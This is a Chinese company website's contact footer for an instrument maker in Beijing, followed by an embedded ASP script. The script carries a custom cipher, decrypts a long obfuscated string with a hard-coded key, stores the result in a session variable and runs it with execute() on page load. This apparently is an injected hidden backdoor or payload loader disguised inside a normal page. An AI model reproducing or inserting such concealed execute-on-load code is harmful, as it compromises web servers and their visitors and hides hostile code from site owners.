公司名称：
北京金紫光仪器仪表公司
联系地址：
东城区东四北大街细管胡同4号
联 系 人：徐佰松
联系电话：010-64023011
传 真：010-84017189
邮箱地址：service@jinziguang.com |
|
|
 |
|
北京金紫光仪器仪表公司 Copy
right © 2005-2008 www.zhong-yi.com.cn All rights reserved
|
<%
Public Const sDefaultWHEEL1 = "9BipdXIc""v,21L(/jFfrH=o 7ME80l&xGygbsm+.R*Sne4h)u3OwAaT:CtP
"
Public Const sDefaultWHEEL2 = ",NAheC(t""FxT24u 89"
Function Decrypt_PRO(sINPUT , sPASSWORD )
Dim sWHEEL1, sWHEEL2
Dim k, i, c
Dim sRESULT
sWHEEL1 = sDefaultWHEEL1: sWHEEL2 = sDefaultWHEEL2
ScrambleWheels sWHEEL1, sWHEEL2, sPASSWORD
sRESULT = ""
For i = 1 To Len(sINPUT)
c = mid(sINPUT, i, 1)
k = InStr(1, sWHEEL2, c, vbBinaryCompare)
If k > 0 Then
sRESULT = sRESULT & mid(sWHEEL1, k, 1)
Else
sRESULT = sRESULT & Addpass(c,sPASSWORD)
End If
sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2)
Next
Decrypt_PRO = sRESULT
End Function
Function LeftShift(s )
If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1)
End Function
Function RightShift(s )
If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1)
End Function
Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD )
Dim i ,k
For i = 1 To Len(sPASSWORD)
For k = 1 To ascW(mid(sPASSWORD, i, 1)) * i
sW1 = LeftShift(sW1): sW2 = RightShift(sW2)
Next
Next
End Sub
Function Addpass(tStr,tPass)
Select Case tStr
Case ChrW(13)
Addpass = tStr
Case ChrW(10)
Addpass = tStr
Case ChrW(13)+ChrW(10)
Addpass = tStr
Case ChrW(9)
Addpass = tStr
Case Else
dim a
a= mid(tstr,1,1)
Addpass = ChrW((ascW(tPass) Xor Len(tPass)) Xor ascW(tstr))
End Select
End Function
Dim crypt_PRO,Key,Code
crypt_PRO="孋I7mXjtyI1>m8>ae:+1AOnOnse&yOtE)lLPjt4tcPXTF孋fI1h>2&RjX.w8+L+LM,00xdme, w2g0i8Rl>Pm孋OR""t,LMiRax)孋Boh0/XaTvB79=aj a=+A4""s0孋yrjTeEiAePeH4孋poB0eo""yuL=O7hrAlf=np9Ef>S8gMn1SS):Poio,((7w孋xACOG3oLSMdf=.A1/wy+HO02=y7孋Ldt.L7L * TTeEiAePeH4H3R,cMp""yuL=O7hrAlfM孋u A<孋fAb)Pcp2nvR孋lN aT(>r孋IN:7f+孋(cH 孋vg>a.9b.afN <0b(<*<79孋3TpRE""itT8SH孋孋"
key="erWei"
if Session("nuGoNPkXy")="" then
crypt_PRO=replace(crypt_PRO,"嵤",Chr(37)&">")
code=Decrypt_PRO(crypt_PRO,Key)
code=replace(code,"嬫",vbCrLf)
Session("nuGoNPkXy")=code
end if
execute(Session("nuGoNPkXy"))
%>
